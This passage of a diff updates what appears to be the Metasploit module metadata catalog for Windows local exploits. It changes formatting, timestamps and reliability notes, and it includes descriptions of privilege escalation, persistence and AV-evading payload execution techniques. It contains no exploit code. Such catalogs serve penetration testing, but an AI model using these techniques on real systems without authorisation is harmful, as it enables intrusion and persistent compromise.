"Stability": [ "crash-os-restarts" + ], + "Reliability": [ + "unknown-reliability" + ], + "SideEffects": [ + "unknown-side-effects" ] }, "session_types": [ "meterpreter" ], "needs_cleanup": null, - "actions": [ - - ] + "actions": [] }, "exploit_windows/local/ms15_078_atmfd_bof": { "name": "MS15-078 Microsoft Windows Font Driver Buffer Overflow", "fullname": "exploit/windows/local/ms15_078_atmfd_bof", - "aliases": [ - - ], + "aliases": [], "rank": 0, "disclosure_date": "2015-07-11", "type": "exploit", @@ -181789,16 +186779,12 @@ "platform": "Windows", "arch": "x64", "rport": null, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": [ "Windows 8.1 x64" ], - "mod_time": "2023-10-12 17:33:58 +0000", + "mod_time": "2025-06-23 12:43:46 +0000", "path": "/modules/exploits/windows/local/ms15_078_atmfd_bof.rb", "is_install_path": true, "ref_name": "windows/local/ms15_078_atmfd_bof", @@ -181806,21 +186792,26 @@ "post_auth": false, "default_credential": false, "notes": { + "Reliability": [ + "unknown-reliability" + ], + "Stability": [ + "unknown-stability" + ], + "SideEffects": [ + "unknown-side-effects" + ] }, "session_types": [ "meterpreter" ], "needs_cleanup": null, - "actions": [ - - ] + "actions": [] }, "exploit_windows/local/ms16_014_wmi_recv_notif": { "name": "Windows WMI Receive Notification Exploit", "fullname": "exploit/windows/local/ms16_014_wmi_recv_notif", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": "2015-12-04", "type": "exploit", @@ -181840,16 +186831,12 @@ "platform": "Windows", "arch": "x64", "rport": null, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": [ "Windows 7 SP0/SP1" ], - "mod_time": "2023-05-25 12:45:30 +0000", + "mod_time": "2025-06-23 12:43:46 +0000", "path": "/modules/exploits/windows/local/ms16_014_wmi_recv_notif.rb", "is_install_path": true, "ref_name": "windows/local/ms16_014_wmi_recv_notif", @@ -181857,21 +186844,26 @@ "post_auth": false, "default_credential": false, "notes": { + "Reliability": [ + "unknown-reliability" + ], + "Stability": [ + "unknown-stability" + ], + "SideEffects": [ + "unknown-side-effects" + ] }, "session_types": [ "meterpreter" ], "needs_cleanup": null, - "actions": [ - - ] + "actions": [] }, "exploit_windows/local/ms16_016_webdav": { "name": "MS16-016 mrxdav.sys WebDav Local Privilege Escalation", "fullname": "exploit/windows/local/ms16_016_webdav", - "aliases": [ - - ], + "aliases": [], "rank": 600, "disclosure_date": "2016-02-09", "type": "exploit", @@ -181879,7 +186871,7 @@ "Tamas Koczka", "William Webb " ], - "description": "This module exploits the vulnerability in mrxdav.sys described by MS16-016. The module will spawn\n a process on the target system and elevate its privileges to NT AUTHORITY\\SYSTEM before executing\n the specified payload within the context of the elevated process.", + "description": "This module exploits the vulnerability in mrxdav.sys described by MS16-016. The module will spawn\n a process on the target system and elevate its privileges to NT AUTHORITY\\SYSTEM before executing\n the specified payload within the context of the elevated process.", "references": [ "CVE-2016-0051", "MSB-MS16-016" @@ -181887,16 +186879,12 @@ "platform": "Windows", "arch": "x86", "rport": null, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": [ "Windows 7 SP1" ], - "mod_time": "2021-07-21 12:35:47 +0000", + "mod_time": "2025-06-23 12:43:46 +0000", "path": "/modules/exploits/windows/local/ms16_016_webdav.rb", "is_install_path": true, "ref_name": "windows/local/ms16_016_webdav", @@ -181904,21 +186892,26 @@ "post_auth": false, "default_credential": false, "notes": { + "Reliability": [ + "unknown-reliability" + ], + "Stability": [ + "unknown-stability" + ], + "SideEffects": [ + "unknown-side-effects" + ] }, "session_types": [ "meterpreter" ], "needs_cleanup": null, - "actions": [ - - ] + "actions": [] }, "exploit_windows/local/ms16_032_secondary_logon_handle_privesc": { "name": "MS16-032 Secondary Logon Handle Privilege Escalation", "fullname": "exploit/windows/local/ms16_032_secondary_logon_handle_privesc", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": "2016-03-21", "type": "exploit", @@ -181937,12 +186930,8 @@ "platform": "Windows", "arch": "", "rport": null, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": [ "Windows x86", "Windows x64" @@ -181955,30 +186944,20 @@ "post_auth": false, "default_credential": false, "notes": { - "Stability": [ - - ], - "SideEffects": [ - - ], - "Reliability": [ - - ] + "Stability": [], + "SideEffects": [], + "Reliability": [] }, "session_types": [ "meterpreter" ], "needs_cleanup": null, - "actions": [ - - ] + "actions": [] }, "exploit_windows/local/ms16_075_reflection": { "name": "Windows Net-NTLMv2 Reflection DCOM/RPC", "fullname": "exploit/windows/local/ms16_075_reflection", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": "2016-01-16", "type": "exploit", @@ -181998,18 +186977,14 @@ "platform": "Windows", "arch": "x86, x64", "rport": null, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": [ "Automatic", "Windows x86", "Windows x64" ], - "mod_time": "2021-09-08 21:56:02 +0000", + "mod_time": "2025-06-23 12:43:46 +0000", "path": "/modules/exploits/windows/local/ms16_075_reflection.rb", "is_install_path": true, "ref_name": "windows/local/ms16_075_reflection", @@ -182017,21 +186992,26 @@ "post_auth": false, "default_credential": false, "notes": { + "Reliability": [ + "unknown-reliability" + ], + "Stability": [ + "unknown-stability" + ], + "SideEffects": [ + "unknown-side-effects" + ] }, "session_types": [ "meterpreter" ], "needs_cleanup": null, - "actions": [ - - ] + "actions": [] }, "exploit_windows/local/ms16_075_reflection_juicy": { "name": "Windows Net-NTLMv2 Reflection DCOM/RPC (Juicy)", "fullname": "exploit/windows/local/ms16_075_reflection_juicy", - "aliases": [ - - ], + "aliases": [], "rank": 500, "disclosure_date": "2016-01-16", "type": "exploit", @@ -182056,16 +187036,12 @@ "platform": "Windows", "arch": "x86, x64", "rport": null, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": [ "Automatic" ], - "mod_time": "2023-05-25 12:45:30 +0000", + "mod_time": "2025-06-23 12:43:46 +0000", "path": "/modules/exploits/windows/local/ms16_075_reflection_juicy.rb", "is_install_path": true, "ref_name": "windows/local/ms16_075_reflection_juicy", @@ -182073,21 +187049,26 @@ "post_auth": false, "default_credential": false, "notes": { + "Reliability": [ + "unknown-reliability" + ], + "Stability": [ + "unknown-stability" + ], + "SideEffects": [ + "unknown-side-effects" + ] }, "session_types": [ "meterpreter" ], "needs_cleanup": null, - "actions": [ - - ] + "actions": [] }, "exploit_windows/local/ms18_8120_win32k_privesc": { "name": "Windows SetImeInfoEx Win32k NULL Pointer Dereference", "fullname": "exploit/windows/local/ms18_8120_win32k_privesc", - "aliases": [ - - ], + "aliases": [], "rank": 400, "disclosure_date": "2018-05-09", "type": "exploit", @@ -182109,18 +187090,14 @@ "platform": "Windows", "arch": "", "rport": null, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": [ "Automatic", "Windows 7 x64", "Windows 7 x86" ], - "mod_time": "2023-05-25 12:45:30 +0000", + "mod_time": "2025-06-23 12:43:46 +0000", "path": "/modules/exploits/windows/local/ms18_8120_win32k_privesc.rb", "is_install_path": true, "ref_name": "windows/local/ms18_8120_win32k_privesc", @@ -182128,21 +187105,26 @@ "post_auth": false, "default_credential": false, "notes": { + "Reliability": [ + "unknown-reliability" + ], + "Stability": [ + "unknown-stability" + ], + "SideEffects": [ + "unknown-side-effects" + ] }, "session_types": [ "meterpreter" ], "needs_cleanup": true, - "actions": [ - - ] + "actions": [] }, "exploit_windows/local/ms_ndproxy": { "name": "MS14-002 Microsoft Windows ndproxy.sys Local Privilege Escalation", "fullname": "exploit/windows/local/ms_ndproxy", - "aliases": [ - - ], + "aliases": [], "rank": 200, "disclosure_date": "2013-11-27", "type": "exploit", @@ -182168,18 +187150,14 @@ "platform": "Windows", "arch": "x86", "rport": null, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": [ "Automatic", "Windows XP SP3", "Windows Server 2003 SP2" ], - "mod_time": "2023-05-25 12:45:30 +0000", + "mod_time": "2025-06-23 12:43:46 +0000", "path": "/modules/exploits/windows/local/ms_ndproxy.rb", "is_install_path": true, "ref_name": "windows/local/ms_ndproxy", @@ -182187,21 +187165,26 @@ "post_auth": false, "default_credential": false, "notes": { + "Reliability": [ + "unknown-reliability" + ], + "Stability": [ + "unknown-stability" + ], + "SideEffects": [ + "unknown-side-effects" + ] }, "session_types": [ "meterpreter" ], "needs_cleanup": null, - "actions": [ - - ] + "actions": [] }, "exploit_windows/local/novell_client_nicm": { "name": "Novell Client 2 SP3 nicm.sys Local Privilege Escalation", "fullname": "exploit/windows/local/novell_client_nicm", - "aliases": [ - - ], + "aliases": [], "rank": 200, "disclosure_date": "2013-05-22", "type": "exploit", @@ -182219,17 +187202,13 @@ "platform": "Windows", "arch": "x86", "rport": null, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": [ "Automatic", "Windows 7 SP1" ], - "mod_time": "2023-05-25 12:45:30 +0000", + "mod_time": "2025-06-23 12:43:46 +0000", "path": "/modules/exploits/windows/local/novell_client_nicm.rb", "is_install_path": true, "ref_name": "windows/local/novell_client_nicm", @@ -182237,21 +187216,26 @@ "post_auth": false, "default_credential": false, "notes": { + "Reliability": [ + "unknown-reliability" + ], + "Stability": [ + "unknown-stability" + ], + "SideEffects": [ + "unknown-side-effects" + ] }, "session_types": [ "meterpreter" ], "needs_cleanup": null, - "actions": [ - - ] + "actions": [] }, "exploit_windows/local/novell_client_nwfs": { "name": "Novell Client 4.91 SP4 nwfs.sys Local Privilege Escalation", "fullname": "exploit/windows/local/novell_client_nwfs", - "aliases": [ - - ], + "aliases": [], "rank": 200, "disclosure_date": "2008-06-26", "type": "exploit", @@ -182268,17 +187252,13 @@ "platform": "Windows", "arch": "x86", "rport": null, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": [ "Automatic", "Windows XP SP3" ], - "mod_time": "2023-05-25 12:45:30 +0000", + "mod_time": "2025-06-23 12:43:46 +0000", "path": "/modules/exploits/windows/local/novell_client_nwfs.rb", "is_install_path": true, "ref_name": "windows/local/novell_client_nwfs", @@ -182286,21 +187266,26 @@ "post_auth": false, "default_credential": false, "notes": { + "Reliability": [ + "unknown-reliability" + ], + "Stability": [ + "unknown-stability" + ], + "SideEffects": [ + "unknown-side-effects" + ] }, "session_types": [ "meterpreter" ], "needs_cleanup": null, - "actions": [ - - ] + "actions": [] }, "exploit_windows/local/nscp_pe": { "name": "NSClient++ 0.5.2.35 - Privilege escalation", "fullname": "exploit/windows/local/nscp_pe", - "aliases": [ - - ], + "aliases": [], "rank": 600, "disclosure_date": "2020-10-20", "type": "exploit", @@ -182354,20 +187339,14 @@ "repeatable-session" ] }, - "session_types": [ - - ], + "session_types": [], "needs_cleanup": null, - "actions": [ - - ] + "actions": [] }, "exploit_windows/local/ntapphelpcachecontrol": { "name": "MS15-001 Microsoft Windows NtApphelpCacheControl Improper Authorization Check", "fullname": "exploit/windows/local/ntapphelpcachecontrol", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": "2014-09-30", "type": "exploit", @@ -182386,16 +187365,12 @@ "platform": "Windows", "arch": "x86, x64", "rport": null, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": [ "Windows 8 / Windows 8.1 (x86 and x64)" ], - "mod_time": "2023-05-25 12:45:30 +0000", + "mod_time": "2025-06-20 13:20:44 +0000", "path": "/modules/exploits/windows/local/ntapphelpcachecontrol.rb", "is_install_path": true, "ref_name": "windows/local/ntapphelpcachecontrol", @@ -182403,30 +187378,20 @@ "post_auth": false, "default_credential": false, "notes": { - "Stability": [ - - ], - "SideEffects": [ - - ], - "Reliability": [ - - ] + "Stability": [], + "SideEffects": [], + "Reliability": [] }, "session_types": [ "meterpreter" ], "needs_cleanup": null, - "actions": [ - - ] + "actions": [] }, "exploit_windows/local/ntusermndragover": { "name": "Microsoft Windows NtUserMNDragOver Local Privilege Elevation", "fullname": "exploit/windows/local/ntusermndragover", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": "2019-03-12", "type": "exploit", @@ -182446,12 +187411,8 @@ "platform": "Windows", "arch": "", "rport": null, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": [ "Windows 7 x86" ], @@ -182477,16 +187438,12 @@ "meterpreter" ], "needs_cleanup": null, - "actions": [ - - ] + "actions": [] }, "exploit_windows/local/nvidia_nvsvc": { "name": "Nvidia (nvsvc) Display Driver Service Local Privilege Escalation", "fullname": "exploit/windows/local/nvidia_nvsvc", - "aliases": [ - - ], + "aliases": [], "rank": 200, "disclosure_date": "2012-12-25", "type": "exploit", @@ -182503,16 +187460,12 @@ "platform": "Windows", "arch": "x64", "rport": null, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": [ "Windows x64" ], - "mod_time": "2023-05-25 12:45:30 +0000", + "mod_time": "2025-06-23 12:43:46 +0000", "path": "/modules/exploits/windows/local/nvidia_nvsvc.rb", "is_install_path": true, "ref_name": "windows/local/nvidia_nvsvc", @@ -182520,21 +187473,26 @@ "post_auth": false, "default_credential": false, "notes": { + "Reliability": [ + "unknown-reliability" + ], + "Stability": [ + "unknown-stability" + ], + "SideEffects": [ + "unknown-side-effects" + ] }, "session_types": [ "meterpreter" ], "needs_cleanup": null, - "actions": [ - - ] + "actions": [] }, "exploit_windows/local/panda_psevents": { "name": "Panda Security PSEvents Privilege Escalation", "fullname": "exploit/windows/local/panda_psevents", - "aliases": [ - - ], + "aliases": [], "rank": 600, "disclosure_date": "2016-06-27", "type": "exploit", @@ -182543,23 +187501,17 @@ "Security-Assessment.com" ], "description": "PSEvents.exe within several Panda Security products runs hourly with SYSTEM privileges.\n When run, it checks a user writable folder for certain DLL files, and if any are found\n they are automatically run.\n Vulnerable Products:\n Panda Global Protection 2016 (<=16.1.2)\n Panda Antivirus Pro 2016 (<=16.1.2)\n Panda Small Business Protection (<=16.1.2)\n Panda Internet Security 2016 (<=16.1.2)", - "references": [ - - ], + "references": [], "platform": "Windows", "arch": "", "rport": null, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": [ "Windows x86", "Windows x64" ], - "mod_time": "2023-05-25 12:45:30 +0000", + "mod_time": "2025-06-23 12:43:46 +0000", "path": "/modules/exploits/windows/local/panda_psevents.rb", "is_install_path": true, "ref_name": "windows/local/panda_psevents", @@ -182567,14 +187519,21 @@ "post_auth": false, "default_credential": false, "notes": { + "Reliability": [ + "unknown-reliability" + ], + "Stability": [ + "unknown-stability" + ], + "SideEffects": [ + "unknown-side-effects" + ] }, "session_types": [ "meterpreter" ], "needs_cleanup": true, - "actions": [ - - ] + "actions": [] }, "exploit_windows/local/payload_inject": { "name": "Windows Manage Memory Payload Injection", @@ -182590,22 +187549,16 @@ "sinn3r " ], "description": "This module will inject a payload into memory of a process. If a payload\n isn't selected, then it'll default to a reverse x86 TCP meterpreter. If the PID\n datastore option isn't specified, then it'll inject into notepad.exe instead.", - "references": [ - - ], + "references": [], "platform": "Windows", "arch": "x86, x64", "rport": null, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": [ "Windows" ], - "mod_time": "2021-09-08 21:56:02 +0000", + "mod_time": "2025-06-23 12:43:46 +0000", "path": "/modules/exploits/windows/local/payload_inject.rb", "is_install_path": true, "ref_name": "windows/local/payload_inject", @@ -182613,21 +187566,26 @@ "post_auth": false, "default_credential": false, "notes": { + "Reliability": [ + "unknown-reliability" + ], + "Stability": [ + "unknown-stability" + ], + "SideEffects": [ + "unknown-side-effects" + ] }, "session_types": [ "meterpreter" ], "needs_cleanup": null, - "actions": [ - - ] + "actions": [] }, "exploit_windows/local/persistence": { "name": "Windows Persistent Registry Startup Payload Installer", "fullname": "exploit/windows/local/persistence", - "aliases": [ - - ], + "aliases": [], "rank": 600, "disclosure_date": "2011-10-19", "type": "exploit", @@ -182636,22 +187594,16 @@ "g0tmi1k" ], "description": "This module will install a payload that is executed during boot.\n It will be executed either at user logon or system startup via the registry\n value in \"CurrentVersion\\Run\" (depending on privilege and selected method).", - "references": [ - - ], + "references": [], "platform": "Windows", "arch": "", "rport": null, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": [ "Windows" ], - "mod_time": "2021-09-08 21:56:02 +0000", + "mod_time": "2025-06-23 12:43:46 +0000", "path": "/modules/exploits/windows/local/persistence.rb", "is_install_path": true, "ref_name": "windows/local/persistence", @@ -182659,21 +187611,26 @@ "post_auth": false, "default_credential": false, "notes": { + "Reliability": [ + "unknown-reliability" + ], + "Stability": [ + "unknown-stability" + ], + "SideEffects": [ + "unknown-side-effects" + ] }, "session_types": [ "meterpreter" ], "needs_cleanup": null, - "actions": [ - - ] + "actions": [] }, "exploit_windows/local/persistence_image_exec_options": { "name": "Windows Silent Process Exit Persistence", "fullname": "exploit/windows/local/persistence_image_exec_options", - "aliases": [ - - ], + "aliases": [], "rank": 600, "disclosure_date": "2008-06-28", "type": "exploit", @@ -182689,16 +187646,12 @@ "platform": "Windows", "arch": "", "rport": null, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": [ "Automatic" ], - "mod_time": "2021-09-08 21:56:02 +0000", + "mod_time": "2025-06-23 12:43:46 +0000", "path": "/modules/exploits/windows/local/persistence_image_exec_options.rb", "is_install_path": true, "ref_name": "windows/local/persistence_image_exec_options", @@ -182706,21 +187659,26 @@ "post_auth": false, "default_credential": false, "notes": { + "Reliability": [ + "unknown-reliability" + ], + "Stability": [ + "unknown-stability" + ], + "SideEffects": [ + "unknown-side-effects" + ] }, "session_types": [ "meterpreter" ], "needs_cleanup": null, - "actions": [ - - ] + "actions": [] }, "exploit_windows/local/persistence_service": { "name": "Windows Persistent Service Installer", "fullname": "exploit/windows/local/persistence_service", - "aliases": [ - - ], + "aliases": [], "rank": 600, "disclosure_date": "2018-10-20", "type": "exploit", @@ -182734,16 +187692,12 @@ "platform": "Windows", "arch": "", "rport": null, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": [ "Windows" ], - "mod_time": "2021-09-08 21:56:02 +0000", + "mod_time": "2025-06-23 12:43:46 +0000", "path": "/modules/exploits/windows/local/persistence_service.rb", "is_install_path": true, "ref_name": "windows/local/persistence_service", @@ -182751,21 +187705,26 @@ "post_auth": false, "default_credential": false, "notes": { + "Reliability": [ + "unknown-reliability" + ], + "Stability": [ + "unknown-stability" + ], + "SideEffects": [ + "unknown-side-effects" + ] }, "session_types": [ "meterpreter" ], "needs_cleanup": null, - "actions": [ - - ] + "actions": [] }, "exploit_windows/local/plantronics_hub_spokesupdateservice_privesc": { "name": "Plantronics Hub SpokesUpdateService Privilege Escalation", "fullname": "exploit/windows/local/plantronics_hub_spokesupdateservice_privesc", - "aliases": [ - - ], + "aliases": [], "rank": 600, "disclosure_date": "2019-08-30", "type": "exploit", @@ -182782,16 +187741,12 @@ "platform": "Windows", "arch": "", "rport": null, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": [ "Automatic" ], - "mod_time": "2021-09-08 21:56:02 +0000", + "mod_time": "2025-06-25 09:25:53 +0000", "path": "/modules/exploits/windows/local/plantronics_hub_spokesupdateservice_privesc.rb", "is_install_path": true, "ref_name": "windows/local/plantronics_hub_spokesupdateservice_privesc", @@ -182804,22 +187759,21 @@ ], "Stability": [ "crash-safe" + ], + "SideEffects": [ + "unknown-side-effects" ] }, "session_types": [ "meterpreter" ], "needs_cleanup": true, - "actions": [ - - ] + "actions": [] }, "exploit_windows/local/powershell_cmd_upgrade": { "name": "Windows Command Shell Upgrade (Powershell)", "fullname": "exploit/windows/local/powershell_cmd_upgrade", - "aliases": [ - - ], + "aliases": [], "rank": 600, "disclosure_date": "1999-01-01", "type": "exploit", @@ -182827,22 +187781,16 @@ "Ben Campbell " ], "description": "This module executes Powershell to upgrade a Windows Shell session\n to a full Meterpreter session.", - "references": [ - - ], + "references": [], "platform": "Windows", "arch": "", "rport": null, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": [ "Universal" ], - "mod_time": "2020-09-22 02:56:51 +0000", + "mod_time": "2025-06-23 12:43:46 +0000", "path": "/modules/exploits/windows/local/powershell_cmd_upgrade.rb", "is_install_path": true, "ref_name": "windows/local/powershell_cmd_upgrade", @@ -182850,21 +187798,26 @@ "post_auth": false, "default_credential": false, "notes": { + "Reliability": [ + "unknown-reliability" + ], + "Stability": [ + "unknown-stability" + ], + "SideEffects": [ + "unknown-side-effects" + ] }, "session_types": [ "shell" ], "needs_cleanup": null, - "actions": [ - - ] + "actions": [] }, "exploit_windows/local/powershell_remoting": { "name": "Powershell Remoting Remote Command Execution", "fullname": "exploit/windows/local/powershell_remoting", - "aliases": [ - - ], + "aliases": [], "rank": 600, "disclosure_date": "1999-01-01", "type": "exploit", @@ -182879,16 +187832,12 @@ "platform": "Windows", "arch": "", "rport": null, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": [ "Automatic" ], - "mod_time": "2022-08-08 01:40:15 +0000", + "mod_time": "2025-06-23 12:43:46 +0000", "path": "/modules/exploits/windows/local/powershell_remoting.rb", "is_install_path": true, "ref_name": "windows/local/powershell_remoting", @@ -182896,22 +187845,27 @@ "post_auth": false, "default_credential": false, "notes": { + "Reliability": [ + "unknown-reliability" + ], + "Stability": [ + "unknown-stability" + ], + "SideEffects": [ + "unknown-side-effects" + ] }, "session_types": [ "meterpreter", "shell" ], "needs_cleanup": null, - "actions": [ - - ] + "actions": [] }, "exploit_windows/local/ppr_flatten_rec": { "name": "Windows EPATHOBJ::pprFlattenRec Local Privilege Escalation", "fullname": "exploit/windows/local/ppr_flatten_rec", - "aliases": [ - - ], + "aliases": [], "rank": 200, "disclosure_date": "2013-05-15", "type": "exploit", @@ -182936,16 +187890,12 @@ "platform": "Windows", "arch": "x86", "rport": null, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": [ "Automatic" ], - "mod_time": "2023-05-25 12:45:30 +0000", + "mod_time": "2025-06-23 12:43:46 +0000", "path": "/modules/exploits/windows/local/ppr_flatten_rec.rb", "is_install_path": true, "ref_name": "windows/local/ppr_flatten_rec", @@ -182953,21 +187903,26 @@ "post_auth": false, "default_credential": false, "notes": { + "Reliability": [ + "unknown-reliability" + ], + "Stability": [ + "unknown-stability" + ], + "SideEffects": [ + "unknown-side-effects" + ] }, "session_types": [ "meterpreter" ], "needs_cleanup": null, - "actions": [ - - ] + "actions": [] }, "exploit_windows/local/ps_persist": { "name": "Powershell Payload Execution", "fullname": "exploit/windows/local/ps_persist", - "aliases": [ - - ], + "aliases": [], "rank": 600, "disclosure_date": "2012-08-14", "type": "exploit", @@ -182976,22 +187931,16 @@ "Matt \"hostess\" Andreko" ], "description": "This module generates a dynamic executable on the session host using .NET templates.\n Code is pulled from C# templates and impregnated with a payload before being\n sent to a modified PowerShell session with .NET 4 loaded. The compiler builds\n the executable (standard or Windows service) in memory and produces a binary\n which can be started/installed and downloaded for later use. After compilation the\n PoweShell session can also sign the executable if provided a path the a .pfx formatted\n certificate.", - "references": [ - - ], + "references": [], "platform": "Windows", "arch": "", "rport": null, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": [ "Universal" ], - "mod_time": "2021-09-08 21:56:02 +0000", + "mod_time": "2025-06-23 12:43:46 +0000", "path": "/modules/exploits/windows/local/ps_persist.rb", "is_install_path": true, "ref_name": "windows/local/ps_persist", @@ -182999,44 +187948,43 @@ "post_auth": false, "default_credential": false, "notes": { + "Reliability": [ + "unknown-reliability" + ], + "Stability": [ + "unknown-stability" + ], + "SideEffects": [ + "unknown-side-effects" + ] }, "session_types": [ "meterpreter" ], "needs_cleanup": null, - "actions": [ - - ] + "actions": [] }, "exploit_windows/local/ps_wmi_exec": { "name": "Authenticated WMI Exec via Powershell", "fullname": "exploit/windows/local/ps_wmi_exec", - "aliases": [ - - ], + "aliases": [], "rank": 600, "disclosure_date": "2012-08-19", "type": "exploit", "author": [ "RageLtMan " ], - "description": "This module uses WMI execution to launch a payload instance on a remote machine.\n In order to avoid AV detection, all execution is performed in memory via psh-net\n encoded payload. Persistence option can be set to keep the payload looping while\n a handler is present to receive it. By default the module runs as the current\n process owner. The module can be configured with credentials for the remote host\n with which to launch the process.", - "references": [ - - ], + "description": "This module uses WMI execution to launch a payload instance on a remote machine.\n In order to avoid AV detection, all execution is performed in memory via psh-net\n encoded payload. Persistence option can be set to keep the payload looping while\n a handler is present to receive it. By default the module runs as the current\n process owner. The module can be configured with credentials for the remote host\n with which to launch the process.", + "references": [], "platform": "Windows", "arch": "", "rport": null, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": [ "Universal" ], - "mod_time": "2020-09-22 02:56:51 +0000", + "mod_time": "2025-06-23 12:43:46 +0000", "path": "/modules/exploits/windows/local/ps_wmi_exec.rb", "is_install_path": true, "ref_name": "windows/local/ps_wmi_exec", @@ -183044,21 +187992,26 @@ "post_auth": false, "default_credential": false, "notes": { + "Reliability": [ + "unknown-reliability" + ], + "Stability": [ + "unknown-stability" + ], + "SideEffects": [ + "unknown-side-effects" + ] }, "session_types": [ "meterpreter" ], "needs_cleanup": null, - "actions": [ - - ] + "actions": [] }, "exploit_windows/local/pxeexploit": { "name": "PXE Exploit Server", "fullname": "exploit/windows/local/pxeexploit", - "aliases": [ - - ], + "aliases": [], "rank": 600, "disclosure_date": "2011-08-05", "type": "exploit", @@ -183066,39 +188019,30 @@ "scriptjunkie" ], "description": "This module provides a PXE server, running a DHCP and TFTP server.\n The default configuration loads a linux kernel and initrd into memory that\n reads the hard drive; placing the payload on the hard drive of any Windows\n partition seen.\n\n Note: the displayed IP address of a target is the address this DHCP server\n handed out, not the \"normal\" IP address the host uses.", - "references": [ - - ], + "references": [], "platform": "Windows", "arch": "", "rport": null, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": [ "Windows Universal" ], - "mod_time": "2022-03-10 18:03:35 +0000", + "mod_time": "2025-06-20 13:20:44 +0000", "path": "/modules/exploits/windows/local/pxeexploit.rb", "is_install_path": true, "ref_name": "windows/local/pxeexploit", "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": null }, "exploit_windows/local/razer_zwopenprocess": { "name": "Razer Synapse rzpnk.sys ZwOpenProcess", "fullname": "exploit/windows/local/razer_zwopenprocess", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": "2017-03-22", "type": "exploit", @@ -183113,16 +188057,12 @@ "platform": "Windows", "arch": "", "rport": null, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": [ "Windows x64" ], - "mod_time": "2021-09-08 21:56:02 +0000", + "mod_time": "2025-06-23 09:30:35 +0000", "path": "/modules/exploits/windows/local/razer_zwopenprocess.rb", "is_install_path": true, "ref_name": "windows/local/razer_zwopenprocess", @@ -183140,43 +188080,31 @@ "repeatable-session" ] }, - "session_types": [ - - ], + "session_types": [], "needs_cleanup": null, - "actions": [ - - ] + "actions": [] }, "exploit_windows/local/registry_persistence": { "name": "Windows Registry Only Persistence", "fullname": "exploit/windows/local/registry_persistence", - "aliases": [ - - ], + "aliases": [], "rank": 600, "disclosure_date": "2015-07-01", "type": "exploit", "author": [ "Donny Maasland " ], - "description": "This module will install a payload that is executed during boot.\n It will be executed either at user logon or system startup via the registry\n value in \"CurrentVersion\\Run\" (depending on privilege and selected method).\n The payload will be installed completely in registry.", - "references": [ - - ], + "description": "This module will install a payload that is executed during boot.\n It will be executed either at user logon or system startup via the registry\n value in \"CurrentVersion\\Run\" (depending on privilege and selected method).\n The payload will be installed completely in registry.", + "references": [], "platform": "Windows", "arch": "", "rport": null, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": [ "Automatic" ], - "mod_time": "2020-09-22 02:56:51 +0000", + "mod_time": "2025-06-23 12:43:46 +0000", "path": "/modules/exploits/windows/local/registry_persistence.rb", "is_install_path": true, "ref_name": "windows/local/registry_persistence", @@ -183184,22 +188112,27 @@ "post_auth": false, "default_credential": false, "notes": { + "Reliability": [ + "unknown-reliability" + ], + "Stability": [ + "unknown-stability" + ], + "SideEffects": [ + "unknown-side-effects" + ] }, "session_types": [ "meterpreter", "shell" ], "needs_cleanup": null, - "actions": [ - - ] + "actions": [] }, "exploit_windows/local/ricoh_driver_privesc": { "name": "Ricoh Driver Privilege Escalation", "fullname": "exploit/windows/local/ricoh_driver_privesc", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": 